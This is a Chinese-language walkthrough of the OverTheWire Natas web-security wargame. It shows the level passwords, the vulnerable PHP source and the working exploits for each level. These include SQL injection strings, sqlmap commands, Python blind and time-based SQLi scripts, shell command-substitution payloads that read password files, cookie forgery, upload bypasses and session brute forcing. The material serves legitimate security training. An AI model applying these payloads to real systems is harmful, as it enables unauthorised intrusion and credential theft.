Overthewire natas wp

url : http://overthewire.org/wargames/natas/

level 1

gtVrDuiDfck831PqWsLEZy5gyDz1clto

level 2

ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

level 3

http://natas2.natas.labs.overthewire.org/files/users.txt

1
2
3
4
5
6
7
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH

level 4

http://natas3.natas.labs.overthewire.org/robots.txt

1
2
User-agent: *
Disallow: /s3cr3t/

natas3.natas.labs.overthewire.org/s3cr3t/users.txt

1
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

level 5

iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

level 6

aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

level 7

http://natas6.natas.labs.overthewire.org/includes/secret.inc

1
2
3
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

level 8

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

level 9

secret:oubWYf2kBq

W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

level 10

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

level 11

过滤了|&; 不能截断命令了 但可以利用grep命令本身

.* /etc/natas_webpass/natas11

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

level 12

给出了源代码,发现是根据$data["showpassword"]的值判断是否给出密码,而默认的是no

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);



?>

通过loadData函数变更data的值,如果cookie中存在格式正确的值,会把data的值替换为从cookie中取的值,所以可以通过更改cookie值来更改$data["showpassword"]为yes

setcookie("data", base64_encode(xor_encrypt(json_encode($d))));这里base64和json都好解决,但xor_encrypt里的key不知道,需要先求出,异或加密只要再异或一下就能求得key了

然后把默认data改为yes,再生成一个cookie,修改就能拿到密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$data = $defaultdata;

$text = json_encode($data);
$outText=base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D');
$key='';

for($i=0;$i<strlen($text);$i++)
{
$key.=$text[$i]^$outText[$i];
}
echo $key."<br>";


$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

$data = loadData($defaultdata);

echo "cookie: ".base64_encode(xor_encrypt(json_encode($data)))."<br>";

EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

level 13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<?

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

[iAOAIO.png]

文件扩展名由$_POST["filename"]决定,直接修改

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

level 14

多加了一个exif_imagetype()函数

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

在php前加GIF89a等图像标识可绕过

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

level 15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>

参数都没过滤,万能密码"or"1"="1

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

level 16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}

mysql_close($link);
} else {
?>

盲注

sqlmap(很快)

1
2
3
python sqlmap.py -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=nata
s15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --string="Th
is user exists" -D natas15 -T users -C username,password --dump --threads 10

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding:utf-8 -*-
import requests
def check(payload):
url = "http://natas15.natas.labs.overthewire.org/index.php"

r = requests.post(url,data=payload,auth=('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'))
#print r.content
return 'doesn' not in r.content

def exploit(length):
data = ""
for i in range(1,length):
LEFT = 0
RIGHT = 255
P = (LEFT + RIGHT) / 2
while abs(LEFT - RIGHT) > 1:
payload = {'username':"\" or ORD(mid((SELECT group_concat(username,password) from users),%d,1))<%d #" % (i, P)}
if check(payload):
RIGHT = P
else:
LEFT = P
P = (LEFT + RIGHT) / 2
data += chr(P)
print "[+] Data (%d) : %s" % (len(data), data)

exploit(350)

# database:natas15
# users
# username,password

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

level 17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>

过滤了一些字符,而且key参数用双引号包了起来,不能直接注入了

可以利用php中&(xxx)来执行命令

1
?needle=$(grep ^a /etc/natas_webpass/natas17)Doctor

如果密码不以a开头,$(grep ^a /etc/natas_webpass/natas17)为空,命令为
grep -i Doctor dictionary.txt,有回显

而如果密码以a开头,则命令为
grep -i aDoctor dictionary.txt,无回显

因此可以进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding:utf-8 -*-
import requests
import string
url='http://natas16.natas.labs.overthewire.org/index.php'
def check(payload):
t=requests.get(url+payload,auth=('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')).text
#print t
return 'Doctor' not in t
c=''
while 1:
for i in string.digits+string.ascii_letters:
payload="?needle=$(grep+^"+c+i+"+/etc/natas_webpass/natas17)Doctor&submit=Search"
if check(payload):
c+=i
break
print c

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

level 18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}

mysql_close($link);
} else {
?>

无回显,可以时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
import requests
import time
url='http://natas17.natas.labs.overthewire.org'
def check(payload):
data={'username':'"or if(('+payload+'),sleep(1),1)#'}
starttime=time.time()
r=requests.post(url,data,auth=('natas17','8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'))
print time.time() - starttime
if time.time() - starttime > 2:
return True
else:
return False

def exploit(length):
data = ""
for i in range(1,length):
LEFT = 0
RIGHT = 255
P = (LEFT + RIGHT) / 2
while abs(LEFT - RIGHT) > 1:
payload = 'ORD(mid((SELECT group_concat(column_name,0x7e) from information_schema.columns where table_name="users"),%d,1))<%d' % (i, P)
if check(payload):
RIGHT = P
else:
LEFT = P
P = (LEFT + RIGHT) / 2
data += chr(P)
print "[+] Data (%d) : %s" % (len(data), data)

exploit(350)

网速很慢。。。

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

level 19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}

return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}

return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */

$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}

if($showform) {
?>

打印密码的函数print_credentials(),通过session验证是否是admin

session_id设置当前会话id,id由createID函数随机生成,而$maxid为640,爆破一下id也就是PHPSESSION就可以,最后爆破得到id为138

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

level 20

This page uses mostly the same code as the previous level, but session IDs are no longer sequential…

sessionid不再是有序的数字,观察发现是十六进制,转为十进制之后是ascii码,转为字母后发现是数字-用户名的形式,写个脚本爆破数字生成字典,在burp里爆破

1
2
3
4
5
6
7
8
9
f=open ("1.txt","w")
a = []
for i in range(1,640):
a.append(str(i)+'-admin')
for i in a:
str=''
for c in i:
str+=hex(ord(c)).replace('0x','')
f.write(str+'\n')

PHPSESSION为38392d61646d696e

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

level 21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?

function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */

/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}

/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}

function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}

function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}

session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}

?>

这里自定义了会话存储函数,在myread()函数中

1
2
3
4
5
foreach(explode("\n", $data) as $line) {    
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}

用换行分割传入的数据,然后每行用空格分割成两部分设为session的键和值

如果要得到密码需要$_SESSION["admin"] == 1,可以传入换行加admin 1

payload

1
http://natas20.natas.labs.overthewire.org/index.php?debug=1&name=a%0Aadmin%201

开启debug,可以看到具体过程

iAOBwV.png